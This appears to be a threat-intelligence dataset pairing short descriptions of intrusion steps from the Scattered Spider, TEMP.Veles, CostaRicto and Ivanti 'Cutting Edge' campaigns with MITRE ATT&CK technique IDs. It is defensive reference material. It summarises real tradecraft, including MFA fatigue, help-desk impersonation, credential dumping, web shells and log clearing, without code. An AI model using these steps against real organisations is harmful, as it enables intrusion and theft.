During C0027, Scattered Spider used aws_consoler to create temporary federated credentials for fake users in order to obfuscate which AWS credential is compromised and enable pivoting from the AWS CLI to console sessions without MFA.
MITRE ATT&CK technique: T1098.001: Account Manipulation- Additional Cloud Credentials
During C0027, Scattered Spider used IAM manipulation to gain persistence and to assume or elevate privileges.
MITRE ATT&CK technique: T1098.003: Account Manipulation- Additional Cloud Roles
During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and to identify privileged users, along with the email addresses and AD attributes.
MITRE ATT&CK technique: T1087.004: Account Discovery- Cloud Account
During C0027, Scattered Spider leveraged compromised credentials from victim users to authenticate to Azure tenants.
MITRE ATT&CK technique: T1078.004: Valid Accounts- Cloud Accounts
During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and their Active Directory attributes.
MITRE ATT&CK technique: T1069.003: Permission Groups Discovery- Cloud Groups
During C0027, Scattered Spider used compromised Azure credentials for credential theft activity and lateral movement to on-premises systems.
MITRE ATT&CK technique: T1021.007: Remote Services- Cloud Services
During C0027, Scattered Spider used access to the victim's Azure tenant to create Azure VMs.
MITRE ATT&CK technique: T1578.002: Modify Cloud Compute Infrastructure- Create Cloud Instance
During C0027, Scattered Spider sent phishing messages via SMS to steal credentials.
MITRE ATT&CK technique: T1589.001: Gather Victim Identity Information- Credentials
During C0027, Scattered Spider performed domain replication.
MITRE ATT&CK technique: T1003.006: OS Credential Dumping- DCSync
During C0027, Scattered Spider accessed victim OneDrive environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides.
MITRE ATT&CK technique: T1530: Data from Cloud Storage
During C0027, Scattered Spider registered devices for MFA to maintain persistence through victims' VPN.
MITRE ATT&CK technique: T1098.005: Account Manipulation- Device Registration
During C0027, Scattered Spider accessed Azure AD to identify email addresses.
MITRE ATT&CK technique: T1087.003: Account Discovery- Email Account
During C0027, Scattered Spider exploited CVE-2021-35464 in the ForgeRock Open Access Management application server to gain initial access.
MITRE ATT&CK technique: T1190: Exploit Public-Facing Application
During C0027, Scattered Spider used Citrix and VPNs to persist in compromised environments.
MITRE ATT&CK technique: T1133: External Remote Services
During C0027, Scattered Spider impersonated legitimate IT personnel in phone calls and text messages either to direct victims to a credential harvesting site or getting victims to run commercial remote monitoring and management tools.
MITRE ATT&CK technique: T1656: Impersonation
During C0027, Scattered Spider downloaded tools using victim organization systems.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
During C0027, Scattered Spider attempted to gain access by continuously sending MFA messages to the victim until they accept the MFA push challenge.
MITRE ATT&CK technique: T1621: Multi-Factor Authentication Request Generation
During C0027, used RustScan to scan for open ports on targeted ESXi appliances.
MITRE ATT&CK technique: T1046: Network Service Discovery
During C0027, Scattered Spider used SSH tunneling in targeted environments.
MITRE ATT&CK technique: T1572: Protocol Tunneling
During C0027, Scattered Spider installed the open-source rsocx reverse proxy tool on a targeted ESXi appliance.
MITRE ATT&CK technique: T1090: Proxy
During C0027, Scattered Spider directed victims to run remote monitoring and management tools.
MITRE ATT&CK technique: T1219: Remote Access Software
During C0027, Scattered Spider accessed victim SharePoint environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides.
MITRE ATT&CK technique: T1213.002: Data from Information Repositories- Sharepoint
During C0027, Scattered Spider sent Telegram messages impersonating IT personnel to harvest credentials.
MITRE ATT&CK technique: T1598.001: Phishing for Information- Spearphishing Service
During C0027, Scattered Spider used phone calls to instruct victims to navigate to credential-harvesting websites.
MITRE ATT&CK technique: T1598.004: Phishing for Information- Spearphishing Voice
During C0027, Scattered Spider impersonated legitimate IT personnel in phone calls to direct victims to download a remote monitoring and management tool that would allow the adversary to remotely control their system.
MITRE ATT&CK technique: T1566.004: Phishing- Spearphishing Voice
During C0027, Scattered Spider obtained and used multiple tools including the LINpeas privilege escalation utility, aws_consoler, rsocx reverse proxy, Level RMM tool, and RustScan port scanner.
MITRE ATT&CK technique: T1588.002: Obtain Capabilities- Tool
During C0027, Scattered Spider downloaded tools from sites including file.io, GitHub, and paste.ee.
MITRE ATT&CK technique: T1102: Web Service
During C0027, Scattered Spider used Windows Management Instrumentation to move laterally via Impacket.
MITRE ATT&CK technique: T1047: Windows Management Instrumentation
During the C0032 campaign, TEMP.Veles used VPN access to persist in the victim environment.
MITRE ATT&CK technique: T1133: External Remote Services
During the C0032 campaign, TEMP.Veles routinely deleted tools, logs, and other files after they were finished with them.
MITRE ATT&CK technique: T1070.004: Indicator Removal- File Deletion
During the C0032 campaign, TEMP.Veles modified and added entries within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options to maintain persistence.
MITRE ATT&CK technique: T1546.012: Event Triggered Execution- Image File Execution Options Injection
During the C0032 campaign, TEMP.Veles used Mimikatz and a custom tool, SecHack, to harvest credentials.
MITRE ATT&CK technique: T1003.001: OS Credential Dumping- LSASS Memory
During the C0032 campaign, TEMP.Veles used staging folders that are infrequently used by legitimate users or processes to store data for exfiltration and tool deployment.
MITRE ATT&CK technique: T1074.001: Data Staged- Local Data Staging
During the C0032 campaign, TEMP.Veles renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files.
MITRE ATT&CK technique: T1036.005: Masquerading- Match Legitimate Name or Location
During the C0032 campaign, TEMP.Veles used port-protocol mismatches on ports such as 443, 4444, 8531, and 50501 during C2.
MITRE ATT&CK technique: T1571: Non-Standard Port
During the C0032 campaign, TEMP.Veles used PowerShell to perform timestomping.
MITRE ATT&CK technique: T1059.001: Command and Scripting Interpreter- PowerShell
During the C0032 campaign, TEMP.Veles used encrypted SSH-based PLINK tunnels to transfer tools and enable RDP connections throughout the environment.
MITRE ATT&CK technique: T1572: Protocol Tunneling
During the C0032 campaign, TEMP.Veles utilized RDP throughout an operation.
MITRE ATT&CK technique: T1021.001: Remote Services- Remote Desktop Protocol
During the C0032 campaign, TEMP.Veles relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution.
MITRE ATT&CK technique: T1021.004: Remote Services- SSH
During the C0032 campaign, TEMP.Veles used scheduled task XML triggers.
MITRE ATT&CK technique: T1053.005: Scheduled Task/Job- Scheduled Task
During the C0032 campaign, TEMP.Veles used timestomping to modify the $STANDARD_INFORMATION attribute on tools.
MITRE ATT&CK technique: T1070.006: Indicator Removal- Timestomp
During the C0032 campaign, TEMP.Veles obtained and used tools such as Mimikatz and PsExec.
MITRE ATT&CK technique: T1588.002: Obtain Capabilities- Tool
During the C0032 campaign, TEMP.Veles used compromised VPN accounts.
MITRE ATT&CK technique: T1078: Valid Accounts
During the C0032 campaign, TEMP.Veles used Virtual Private Server infrastructure.
MITRE ATT&CK technique: T1583.003: Acquire Infrastructure- Virtual Private Server
During the C0032 campaign, TEMP.Veles planted Web shells on Outlook Exchange servers.
MITRE ATT&CK technique: T1505.003: Server Software Component- Web Shell
During CostaRicto, the threat actors collected data and files from compromised networks.
MITRE ATT&CK technique: T1005: Data from Local System
For CostaRicto, the threat actors established domains, some of which appeared to spoof legitimate domains.
MITRE ATT&CK technique: T1583.001: Acquire Infrastructure- Domains
During CostaRicto, the threat actors set up remote tunneling using an SSH tool to maintain access to a compromised environment.
MITRE ATT&CK technique: T1133: External Remote Services
During CostaRicto, the threat actors downloaded malware and tools onto a compromised host.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer
For CostaRicto, the threat actors used custom malware, including PS1, CostaBricks, and SombRAT.
MITRE ATT&CK technique: T1587.001: Develop Capabilities- Malware
During CostaRicto, the threat actors used a layer of proxies to manage C2 communications.
MITRE ATT&CK technique: T1090.003: Proxy- Multi-hop Proxy
During CostaRicto, the threat actors employed nmap and pscan to scan target environments.
MITRE ATT&CK technique: T1046: Network Service Discovery
During CostaRicto, the threat actors set up remote SSH tunneling into the victim's environment from a malicious domain.
MITRE ATT&CK technique: T1572: Protocol Tunneling
During CostaRicto, the threat actors used scheduled tasks to download backdoor tools.
MITRE ATT&CK technique: T1053.005: Scheduled Task/Job- Scheduled Task
During CostaRicto, the threat actors obtained open source tools to use in their operations.
MITRE ATT&CK technique: T1588.002: Obtain Capabilities- Tool
During Cutting Edge, threat actors saved collected data to a tar archive.
MITRE ATT&CK technique: T1560.001: Archive Collected Data- Archive via Utility
During Cutting Edge, threat actors used Perl scripts to enable the deployment of the THINSPOOL shell script dropper and for enumerating host data.
MITRE ATT&CK technique: T1059: Command and Scripting Interpreter
During Cutting Edge, threat actors trojanized legitimate files in Ivanti Connect Secure appliances with malicious code.
MITRE ATT&CK technique: T1554: Compromise Host Software Binary
During Cutting Edge, threat actors used DNS to tunnel IPv4 C2 traffic.
MITRE ATT&CK technique: T1071.004: Application Layer Protocol- DNS
During Cutting Edge, threat actors stole the running configuration and cache data from targeted Ivanti Connect Secure VPNs.
MITRE ATT&CK technique: T1005: Data from Local System
During Cutting Edge, threat actors disabled logging and modified the `compcheckresult.cgi` component to edit the Ivanti Connect Secure built-in Integrity Checker exclusion list to evade detection.
MITRE ATT&CK technique: T1562.001: Impair Defenses- Disable or Modify Tools
During Cutting Edge, threat actors used compromised VPN accounts for lateral movement on targeted networks.
MITRE ATT&CK technique: T1078.002: Valid Accounts- Domain Accounts
During Cutting Edge, threat actors used a Base64-encoded Python script to write a patched version of the Ivanti Connect Secure `dsls` binary.
MITRE ATT&CK technique: T1027.013: Obfuscated Files or Information- Encrypted/Encoded File
During Cutting Edge, threat actors exploited CVE-2023-46805 and CVE-2024-21887 in Ivanti Connect Secure VPN appliances to enable authentication bypass and command injection. A server-side request forgery vulnerability, CVE-2024-21893, was identified later and used to bypass mitigations for the initial two vulnerabilities by chaining with CVE-2024-21887.
MITRE ATT&CK technique: T1190: Exploit Public-Facing Application
During Cutting Edge, threat actors deleted `/tmp/test1.txt` on compromised Ivanti Connect Secure VPNs which was used to hold stolen configuration and cache files.
MITRE ATT&CK technique: T1070.004: Indicator Removal- File Deletion
During Cutting Edge, threat actors cleared logs to remove traces of their activity and restored compromised systems to a clean state to bypass manufacturer mitigations for CVE-2023-46805 and CVE-2024-21887.
MITRE ATT&CK technique: T1070: Indicator Removal
During Cutting Edge, threat actors leveraged exploits to download remote files to Ivanti Connect Secure VPNs.
MITRE ATT&CK technique: T1105: Ingress Tool Transfer